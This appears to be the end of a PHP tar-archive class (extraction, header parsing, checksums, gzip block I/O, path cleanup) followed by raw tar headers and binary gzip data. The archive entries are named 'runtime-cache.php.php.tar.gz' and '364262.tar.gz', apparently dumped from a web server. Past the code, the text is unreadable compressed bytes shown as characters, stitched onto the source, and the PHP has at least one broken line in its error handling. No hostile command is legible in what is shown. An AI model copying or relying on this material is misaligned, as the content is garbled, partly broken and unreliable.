				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                   runtime-cache.php.php.tar.gz                                                                        0000644                 00000001121 15243264725 0012000 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Tn@3_KI[OU߬j%lc.bioq"UE 9gUz~gm]5K`RBRvń۴{$gN/5l(~?3p(?hof0IcΚjH
ؘ\+HtC<CWb&2b臁XW8޾q,]7%-E݇ T|_ŎK	B9א:v9F3Ӽ>8\@]䡭CeJV%^y7Q@GI44MGӱ̮M \:;q`	YHa0ɥAtQW`$Rf^hyϕ*ZRC߁>	`W U2ICWl=X	bwV͈PQeհȼE'0
dfz$7Toq͚dPz*Ilwl]M<TI+Pju7=b;ތ;$Ԥ[./o4g;w	$ 
                                                                                                                                                                                                                                                                                                                                                                                                                                                 364262.tar.gz                                                                                       0000644                 00000504106 15243264725 0006461 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             @W8VpV @A#"$(Q{kպ,)Zw[[{TYW<s=s=s=Nuk?;Igԡ2htJ	@b#x_ME?~נku;׶N:VL)7jbfP tuFo.DV\&FX!M&D5d^fM* khLDP i-_&__Ѩ7:e%8ڿZ.DM^2C0Y !&Biq"a~#"hr@=Am$djN&r؅ nQ7' FF&YI{+OE$DF&!`D2P%biŐ\W0Y6֗*9Y&6Ld0pOEbP$HK@."J} l!hl
rIl D7:PɃ)nxSȤTQ`@b:\U۳+ DKA0sL!0,' vW/DJW
4լ7e2J<!M@%@HvnAlVU(Ka~:YRoQSO] Ah VRFXPDlG;IAhgX53{BzbI^!R)N"5<;m!(jLnO(tdBv«=5*4zx8_#";</\Mj߱9sBRI}+cc1/MvҮ؈Y	UNslϨ.S9 cc.g5g)ov,+vdTLtl>|cGZ> c&3[^1bc'g31ԷХׇ.X*L}2V𾑭sLUlvLIVl>tcr	511ɱϱcc6@e9riŚM+6;WrlzVUlV,q_
@vlqpul\bk.Zb<E.N]x@+: {s =V,PfX+;VZlCSA@+hb 1 w}茊 5s2i@~iׇ.,RdcEz*VVT|Sbst#H[+]1e.ШAbo~0"1Pdcq:TlD 4$6]_w$|f%4Y.bŮ C7eeA9} TiclÊ @AcbcCŷ1Ѡ	2Isǂ3*@+8V9 owlֿ;L"䊭DyN\Ǵ4{t}r@2(rZsYԊHUN9(%P"Tou7!@Usr4s̫\¨!lWlJL5~@1tܢǜ/*q{WhŠUW| v4Tp
c*Wlƨvߠ/Znc *v"h6G|yM8rxZDHu6 UM8	2h\@KC[gWl!gtrLp 9ؚv+5kqL,Z׳Aht6|xfZ;V(^79ܿct;BD@ХF|@u֎RŎEiGF;&uSXcVߊNa{k+[+6
+ֱA-aEեb}EPS5=6xsHNc4S22;2WG[2ɱPlY"6;+_FX2*y>9W.jbbs±߭naQ~Fk}[nXWV$1-aŔ`--XXѤ)?gc,Ow|ȮI@^uLDD8iH4_+ 5(	ٚva`hYAVy1bix=4?se5iE!L/3 4o^ŶtׇSW,=br@Xs̐bGctvLiRP~=ǜڊMaց1/D$=X <x@ʥykM@ Ct@5_0YZ U^$r<`QB(޶(o 15'b6TYBQ4l+t8ѥ:CP_nq쬜RTXX) cbg#S~
cNvE8@M=KC[ԕb+8V imG:&9ƵsekH#,}73 +|^tbsT~EJ\ wv9'X R*Xqk	DuXjȎaK&1t?#Ml91Pe[gTlR9bk݁ˇA)rzcnc0̂Tؐ:gX; ٦Y30C
w{#K[8ƱsANxCM`̤C\ª[>5*"b`0GLtIw }Y	63cLcJi3 u|Rri
L}`3 3z96 @]T1bSz i`рV Fei*u+
8,bI2$4#jc_Ų:eg9T86;VTLv,Q+v5HKK&=q;v, zVwL;tccc~БKŹ b1ˈ~dH"Lgp̑g&h/+涵#lQs(6'$yĲJP
Q 3b#X)u& 6m6'4B$CZԨ	A^]/~;̬&Ql4ADB4Z29OaY\̼$B>;3%':i2{ޫrl2#FVX
VP ZF$0kb˂b~]r2A%6jv	$I 	дPʃ@`Ca0J@H@>E!5:H;H0"1 :$7rZdrآ1BZ@¬HY.ESW~UhGjXD4~f3`&A)J^AZqP6F;Z
am![3gn^J1VФ.CX>଑ sF@nҀT'(V%ujϺ:1	Rp9:*n BJN,NYKe(jһS-T /` jRF7dH|4bɪ74wb̅Jt`^x`Rz)6+$50[k!$P"U^ip/b">##·PVE,W(3" =YtjV5paCLN`s^?LF@T/VQ;
Z J
'!Pl12TFu\8@Yl7lȘ"L&  1ꭀ&3=z=|b@+dǳy47)Ći8ujD}
A -hh~}Ϻ94'N!<y/t Nx0!1<z $ b	8!D k@F@4x!>W^yIlL+,:)"
riR5(D ?#9aFbܿXWȪ/odw ,`@6KR8 s)ٔ
:XVk1-	f_	Bh`4_ @RL*ֹCEtAk00Hmr+;
ks㋪ػ6<;FP֕KrgkiԺbLG0ȍZ'jl*D'ATF4R~ȳ[pA5]Aq=[<B	&8QYzi܌E		ɮ5j)ЉtŞ 55d 2= JFlZPq`/&r)<Jj0פ<jFsy Q,5y'ҚR]@@9 fp̜+:Ϭ,+BrfXuPLbb<P!
}DBtVKaytL:F$Lz`EhkzZi'՚ڴ&YM׾5'54QsM3	[rs1h`6cB4(PGljФg#ص%)pQ>>Pb.f#&E:/z8R>H	@_4@%LtXi+ޙ#?0x[@Oc (x@`G (kR!fST4JNH/e@<z؈F רt|\@~x{jh\:M@D; tGU0/m'SA]0KJ?:ģ~;	jAoRê{f3|F%c@qjsl)  &~D%۴ \W@VrBaUAuU@S!B
Q4BAJ)4*(U@@]֙(@o z9N]MPH5z'Kળ"TdDQpWo&$-:7Yfb?8Q=
}aX@z*`-14 $4U+6 LTяLc
C.e $K*Zao@ӖrLD==a;drB#ILTI@>7Z*jЫT! ^xMSEZE	sTVB ?(LG+*0td7G$Q
&QNBr%tjߠzuE0 U)Od0jyy0+;#=dGP@t!x,2zF f3YWP7Æ}!>Ł:7> VBg$K{O
~{$g@j/ 謊 |"m*4ND&DsrvRZ7<Jv Q*Qi20ә,B 2ٝs(\0(鴋͸PAn]re!R-=?n@:=16Wipc_ƾ:٤7p7_JjP!1$WYmHg[8(Hv@RbKKpAL0TF"&0bZ6"PC a ZG ȉ<O7YK"0L
B~
Q!&6S4D+XQXCP]!FngAq@ԈaA$2 @I"x !{hdD,ѻOB>Q8gn6Ib6isHTK"s` A+7 ڙblL@@,7!V
ʍ΅A4̆ID@CaR`[~a`i ϋnrJ3=H\	@6' :lR6'!}ɽ䵂b-Z[L&+ZO٥VೋbGz"7rxUSGE"U2aDF b!H<1tڬ K
vte,K3mq` BF.}V/݅fjY9bgyiFށs.XvPDJwBNqnHsnHI-*K,r0W0[[Ĉ.\3Jsl4?weڲ4aL"CڠFP4v"xcEb< #CƑZV~:*@o)'qlј?zkX*h1nEJB!*{bjR]=yboyǰTp7jHjΪYB3ܽPх:55B3תhhB2I5L(k`DV фT}gH~m](-$!@9_>a
Qd7g˽.Āʏm٢-R,F4j\
D/rjm!8Ajh:;/ $$3	PDʡY` L.*9ɀb:"CI$ع,Aa ;[i>)lUf>g]YFN-7"/$n+-8個@n/ plvV7AIUQ)H@Ϲ0<Xݳtp
	(W)⶷'A@KJ1фr7AAn-
zq(B*f"E1h4t+[QfJgs1~$B7) jʹYE ?ؘlLRo sR+A]yPYar:@ǜÀ-A7{rAKv$T)F ,W;b}MBX#7±N5jiqL `aD;`U"P0dB0YXg^jbTIsI]׶ b\, @| O
(Y\@:[Q	Kb-xQ#xt{H	hD7tb *Q:p͜`wl\j1;7	-6
aQK4\9o$B >C
Xb,ē;/ǛgK& !KМ)g%p3f.選 mti[xL;E.φd<.uzYS,)@JzJfvŠmq.~{&o=[岃CβHa p yw{45(#}0
VY^Cg!C"j'sU<
VJv0{{T(3X!023iՙ{h+ŠB0T{$`)F6Lw4Lʍ2 aAB\S*7Xg

XRVrc7@(m<[b<*	]Z(aFcj=⪧D Wy'T+&( ]| thkC¸Գ7+[V8ʌg(|K	,V*õFdJ~ HVУ"2dcPheF7i˦%tAjך4rd\:Q"4HLZ$-)8@f)A$(XB2Iˢl $K'&<ܪ7Qh^QYR,"DXvYv+yHTӄJ(ܒGb[ӴI^T6YH3Ǔ"IЊ<C!"J+֦9,jQ%OSQj#fTHLVD4)=='BǥS(P"
&.Wpɤ:'ESi"å\33*)3ۚF"ip*ДZ3jLËS(ϨX4KsԲL-=9@Ո	JmD&iEiLخM$KdJk6R2AQIQJ23D4#rRx6KҔ\azDzY]Vh8424LeژH$ǐDgzSJj:j|jY`2v=*I*frs"Ȋ")2f։,eLfC ަpc<1G
IfѭaQDDR$!Gp,Veb!YL%eIV!fI%G%)
ԩ6Jv1C@#LaE20O-X,h8l9/G
Ud̈́͞hv0SMeXj63;*,!HhHmjvڜnJF&gV.O-d*S
n8bE
2UʼbK^$זYkO&rue-./L 4Ks<)DHNgTb_C)3.!%gI,L[bZ]вYqEjMUODty1#BNFQLtC.(`X֜8ؠ2Yeٖx5*f2'ҮH#K%y"*gVVQK'Hm)yKg3Rgj
{ܧnZ)*Xkat{|afA
  ~2dsPܸͬδ~q7!gV4c?FD0h
@	w&\f4UAF,#~5 OAk}R`ԛ`r4><&d',wp"5NNT:
"he	Ta?4Ҫ~N(3>qiRIuq}jKB݃[.Yd'01G[ቫs
{D!U_ܕ`hds.,d;4 #V뾻Myc_[thAbl;]jXn Hy9	
ѕY\ְHˑ5CL 5K1ȑcP@w|q -ޱz 7DY1΍Dj
=Tе,#=ZC41؃Χ@ YE  !B
4-B9AAnWgZ>{h
sOBN#8ePBh11DP
?C7lct"e&zZAFZA6^`i0iaBQC%u+F@cxsC J|j?XqvQ
-xVNUx
@4X#L8j cPsW$wZtܜb:7uN9SO N8p xvr'|j	Am'4Mq%nPGj,GBAx yʳg a(HE#N#^c5EBpKye'A3Y1x,u/wya ?skldFIM-&@" L @CS /NVUbIq7bQ٬AoXa(v4ʵRZw/J 9&!_XL1*3,Y*$TBzTjL>Az ejlrŨZP96WVoLh#",cj	YrD/&=gK1X6:Th[!LI*oWn%8"~ʘ8fNBPłG/Ԓj_LVcACUd/"(Lms8uurf`{lpVa0 vwal'ѳ4{B@X z!,Jk<	@@rUs=	/jjFw7$.ם>pHjF0oeҞEƽ^!ŽV /(Ճp'[ ԡ=ԀK$>=]nY|!(Bu2B"6LhC+.,*h^aG_qr11XUp|psyw`yзBGaA0T?

~1Q'^#`<]kNU46Їy'XfWh-izvIt	~`.^0؄*s>pїwW&̲:s"x;Wl,?N9W@*Aub`D~fn~I](}Ux'%^ѧR'{x$L6P5l+'#B4Z _㦀hbR!$*U< ԯOAX0  (grRx*!N+~pu<e>p{_AEs>{aT=qQ"$Q<qg^tZt㛰 =dDw'_w3gE/8!W ?RK6)TW=R.0x(XXQ̪Edz)rIR.w2Df0]6|hb]a3h/ѝ)^ڥzDW$jMJV0[YO׌(70gꊉZcc	vZurcl?ppq. =%?q~-笥4֏n8-nadFJ"X>DXl&0);<bGzdU%`@?2I!bRxI!z~d倏^VB!"&.[
wamsQV 5-LÓrt:nJ%Zg2ڰ->rbFBmQ&:Z*[NZt[^d;
Q@ۉW!:5	AEi,&[UWg[]&Is;B 6|	v1aRyt$jEPJ$,CtoYOf6M`(Jn"0sBƔ+*x%  wF,#H9MN2hp_F9혈, x zM=*P(шuFi6)&PZAh@o<}6V6]V7:pB?)fvG! [TBeYIl ,N:f#е(?R:1#--#'-#%dpage;'1Pjf?=J g'0c-g\\ۏnHYM.%aVod)b QP o_FvV:.#3<'|TQ(k4pº e*=D/}*6;%J#FIspSOrC^!k@$CL/EuZX!bvJ^"@ :A][w bjY#W S&@cykņ6 87 AIuj}BUkj=ci`S?]uRTJ&K%ǞBF©ĈO<rMK]e"P
`YV41EO:X
Um_-Mx966G?JЍ	d,]"'(	
I*DJ$"@c >xo1cVDF<*UuܗݻgU5ͦ#ݳҫJMLÍF%S}HãEh)BIHp"#yQo@2̈ 0z)F9TRkdH^j|ky (xŨ]l2dP	T{uts&1*VB/<2-fgpN$O>N?OjS5X<l?|qW0Q*xA@$dR2IQ	Yʬln'9.l+HruD!N,\pS⬼Nfqf^	baggjQOOM	}*(S3k)GQ$	lY&&VVfUY.J/S.ϴdrة),.'X<`5rLR%+NMOg%RVz=l%d4RV^<%TiV6QT@L/R褄<ZZ+ef%t
DH)HVfD|@2PoHd%*86`qfVB\&6bg;_6XHPc熳8Y"P62Y;CZ:2\+0-Y~^$>jrTT[&-/3E-fY:(IeLv<?TyQ)2%h#3lOQYx$d9O*Kҳ"qfr	GsL!O9̴l>C'VRr8QD4yn1JS$yRCBY5dL5rÙdNyq"TFfKURJ&IdbOcg2rTv4 S٩Yl484$zY6˔'r-4JgѲ̜d+TbR#%T2ANF$&-W"*fI3Y4 TFNdǥȂ2V,.NVO)z~|J >Sb%'(SL:L*Y2nz_pUPD&ȸ4{\|&?R
jVZQ)ڼp4r'|NVڲlNDIjKؑR{R)[jpzvB0"Vғ$4Si9L1S˳rEf	Mɣ除LjPŕؒfƛJS[dd,Ѧ*
K	p5IɬY\V -py|F\V*=T&gR2}
ZJLO
JJQ'I386UILA-.R汹,uv=%R*,9%edqHŦ/*fĢ$=L-	^q)SԘRu9),XMM,NȦ02EmBJP!6za&?Qb@YZ'׳TmR"r*WUy2XT2˥J|:7ţȬVJ`WR㴒$4OdГRIy<%$Q3ܲd6C.J`hJBeYm`&STMXdח
S%Di2iBɐFEt*$S)1Kj$&7dDKrI6$3D)7JJ0$&)MBrQiz2.2ѕ&N[.*c2k-yd>-R]F+)et,4#[TLglERSLzD*]%(MsIyAZM$K\FmJ5K(
c@l.RɈQxY('벣4Xj<jTG#%z-Hy:#bF$B!K:Ffs09!QdZ̦2im2,0	R.+3B$e-26S%L*%r3ҋi$T\Q&C@զ"	t^&NRTmF-KiIr	Q0D\Y)&_l,f͢9baPh(bNLP%B7Dj2)FYF&&-D"2rYK)ruy*̱XIR7ʢqJrBBPb娨$i$ߞ`0Ge"1dye-WdVRA:aBir4WXRRR$R9?Ur62Cbka"
iZy[FIq2Iq|MgI
c2I!ŉ"su{TQ#1([BzILiv)^fӋ9Br:O)LnNCJSd9L7):e|vȚN˱EL+3JD
&32¸TҒgJ3Ƭd:QQ,e0PXr(,MJSsUBy/aU'*AR.7Wet "bf]z6aSSYzRQ関3"ҩB,1e٬4ueJdf"#9@WǓ V89Zhi*) b	85*)(8='#^O8j2kN\i,VrK"Sb CPi2Dh08I;OPU,eUQMD2ZaӨ$i$[NDΔk2)ȌL#K(J3D&T>٤i41,O!uRn^f7[2Rlf8YT!O&Sd9(ca*2Sj-;15\WbeZ8%T-]((5rHʋF02ήO3g&#fa%'Q!/RITJ)Jt|)1OjT	$Pӓ4IR$dQJĥlK'2h#0$	q$MІsiJ,*ǜAFJ
n*6KS3EbEJɣfyl&iNssIIH9GJr"dAdJ,d	\jD(RSH<:/""Ģ׀\15ClYyY,2%cQ#uT>='gE#(D"2;UREp5OG()tT 0ez[1LEђs4!^[*mYDVE&)L~IRxFV)7۞G	i
{Y]QH=)A7"4^IHv@E)%$*M(奆xv)[ TjK4z,C$xSKFTȍ4&G-r.3RFe02՜#e
nH"*@ީQe&K$-W,16E;)$BDғJr%3*Y'KTy<,E֨<,I	yHI<zZT®dFفX'G&%іW(-FD)2("^kdI]CY6m))"H\eY0",-5[sR^b$>ԓiEB(*"mZA1f1Iei2\%2d#$BI M,ckL4eMJWiIbvf@@3egQt/3L9KTyɥ=&LVb8SH1N:K(WUlRR(.Ґb;LK	rxr
f$-#&,StxNH%H䒢&)#k'	s#l1ǐ@u
;kUc"lV^⤦'HRE"&JRę$\jRl%	,&]n1vuB1;ʚEFJ3'5L@-g4\,V+5hãDWDʍ:F@SUVr4VbZ	ɚ%%rJ^-.$Z(Ԥ"y^rqM"g$ZB
VMmN5fm:/R_,r&%)A(Gqit]	7AlƕTơ:W$Ib\gό#Mz)1''9J0j2%%iz]]d%$DYH$GJ!hI!9ͶdMPxLLbe4P<dQeLٜCbeR'$yvM`҄V:$
,`5Dk-_[ȿm!Bk-_[ȿm!=[@ea8f1fdq$isetGKULuJB&c^rxDu^^_cO'ضDUHb1EKklQ	yj)<BHNB.$`UDRp(,2CT`aFi2®0 +%%L
Sr&9B+d<=ᤛTkҧ+)J<!5(MƳlhFԒtd,J%:lUF8f{qbFFXDYDT))hVĬI.ͤCVMM1\YSrR̨f6CWU9<jPK,H}-gkEqf9KP"KHN[٩QY.4EݬҒpz=<*\MJfg)Iq%
cE#΢''dJ$NcS(tRj&d>]Sr$-psmIF4>YR
VZuJ.ZWs2˴
NxT-"zTCePɹ%ԼRUet6C&+&g4(QMI.ѫT*Eh4$V2OpL"^[ȼxݦ.JaٓXv9Grz>"Mc&ke	\SJKL*^ZM;x,	)a WC
IALPђMd-E2,nhQvV'*#@",jj+*5M4V\k"T=ĐQl5#HFJz="Ta)2h9,]Y@
8.SbQq21UB&deőEVQD,mQdϱFIpe2eVZÌsDidD͋RLNJ0\EI,NS"TT	L&E#rf]֊ddKf)ŵ㢢4*H$dUi"ǉgɤSf@4,19RlRgZ,ʲX\Kj '[VN&cL)'18"Q̔rf,R,c٣{EN224Df2CU$qdf&U$L+Me`˵rᖥ)$Ai2U,9JUDRS
sZUg &%K(29*vbèRJ(fU)IHe$Ҹ\F(,-JG Qm$ԜD@;c{W`q3r9|&hvQf\()J-ʊKH3R`Q
-Ҧy&QzM5R,	-q2eJPLL6#J6ǩy|E"P%"5y%q<1V ɢb-3>^((FsbQ(ː[(x]W&Pu"cQRi"f
5OsLECVq)?/IJNFs]Qvv(R%Y8"~!SC'Yhq4HD+c"sH;ˢr2K3@X-
L-ӳRE<NB5VV0ʈpbp	W+(@AZIlhh,2F7_&̲a	K#W}S%	IάBt$j*Ξj@yV`"[[GFKԯz~jdu4IMЃ\?|B<$mcPV;D(hhϣQ)]Sh{dv*?IA'=Fce
5:]dR!cЊ2
-ZWoGZ@8ma#,U-"u<%ZdD.bݣ0Gns)vDWCVyV#p02?h"W1189%(l1u(x>!,-RS!rV$cϟ
%ۀ]4C O#ʍ&#(|
N~rs:9zX	O3S`4&KN|Ȭ̴jAK`s/A0Ax9$Yc<2ZgĺZPYv[,??XJ&\6>;C&=UBgZO`k7ـdB<&я⣡Hb
  @h="8#t~&
Ռ{J,t_qzxĊAOU%<&{/FUIWDQoE*N|,"+?l<HZ#jwP@$|N3&U/nni9hj[L-C,^j/R&C|
bI{8[ =ytFi󁤯PnkR;LB:5IjX]3nd1vaSEh!UbԊ,Xuqx?g{pI\qΎC<>Ume(>p'ݿ*Ka	?L~5Lm<}b]@"qZ"i,.ߝ& C g~EBx++ oS#a!X*HWυE'_ XuE
Tk$F3(HD0
q	XȰV>)Mz_+5ʠR#T(hXjbKUX
6g 9,^#(ڷ8ƾy'(|r-[Xֻbq`hXn0H!r7R81^J$Q-ӆ&yViޣ׽/*v>hӡ8uEq> |BF\*=GtNlԀjP4!ϐޓk;:;=*yjٍ  #@Fh 㥀ZA,99adBr@BWihb\oPWoP}Ū\sw|i#w`GepL*^K CJFs!j0"{MP5HLUbUh2R<ȗwFF }Rx3L?dGv_0qSsJ_->q aX7eBΧ0]$dN[}6p.U.cU+4OMʵ/iqEU}nC6*j5O	ǚY1ۣLcFB}
	R`ЈCU
c"ϧB@VUxEY?%\M\!1.IUi?4_+0iE:R&HJo!,XOBK$%j߀0~ُ#qǶbwߔĤjq96wnvt;.8>B4rfmI\⼺vsq'W5o+|5G<5hk;<'kzrX),VY
Zk6rt*s5}Ea{W>vwZbU7<W!\_Or}JdddMGOU#7q=XaCHB2桴ҩU kj
AqՅŴ/@xdQ׭Kf"%wxk[Kܪ@s	8yaR`^`%zH׭t7{Ba	;Z>"nfxWU.	Brչ.tucas/]jypg}PA&gO7h]՛U`9NP.ƑR&Y`sTb*}Db .<Y%ZXfWj!^~{ej4-FAnC&7:Ի	-
 0cF;lgF/rbP	< g{UsJ,j,Ѩ&೉-Q]ɽ.@u):v[pԺ0b6$ύbU5uj(W\`7!gzEp`gaU 	n5~+F=3AimD{A.'mz<^cBY(H	#=`E80mI:CxNU  Վ0Onɮ=j??eX{d
{J T[enكE?Joi^#F>3 ({GDm_D}DB9哧j_OPL]ENU=
~D}TY01ɂ6xvDBcbVQ9`>E	juP-.X6&0!v!D) ~5	9J7J@\E~T|juRߐBcA}F,!jUp+4x
ģ?.m\+|j4=5NX$]3S~5NBZV9eYg0BJ
;ﰫ.[ų1ֺsA,%"bbTdBͨQ5)5W4+U2Q=$&@kÅ_iځ
˽];0]r\Q<=<7!9}~_h"OE9L@`@C,X@	̠,Fo
45VD/{ܬ2Zd7Z!_TrzC|3Bh C^~xmЍ  Vs&3ލ6ĥi`[AR؍Ol!R+(pRGPc
Cf#RHd 7WaR=YYn>$xڔr3x9ݹr#¨%=wLv6]&dD<K@kcx@o"F-0i<zRCajm̡p7}T,ɠА:J\r3(gp Zu]w
ݮDd$c%Dp&V"CB*l~>1!#>;32#!@JW++N&~TPP}	>;^X|x3^{!_$ 0\ ӍO>
2 KTcE6XzB h^UN^tЋL uxqރ.c[%"zc1pQBв<.	&B\V`r) TFEGsȂh=*9| ;H
o75V9;/ !]PUbFc"LþQBj _\kO#NWMNԺQM-竵lw|b0V\)XB~ 
`;#3ڌ*C\c`CBG6k`a,UrW>2	>,V[ܳՄXTj</F#Ykvp0
#0	1,е0PZb _|
*T)DύdATstuƨ[}q?5K dmx-N
ɵXRG4kW&X Cx*	$W`[)ݖ$	ts85T^2<%;$dzk"Nk}Բ$BlT׹կjK@<	 c 8x#eQ
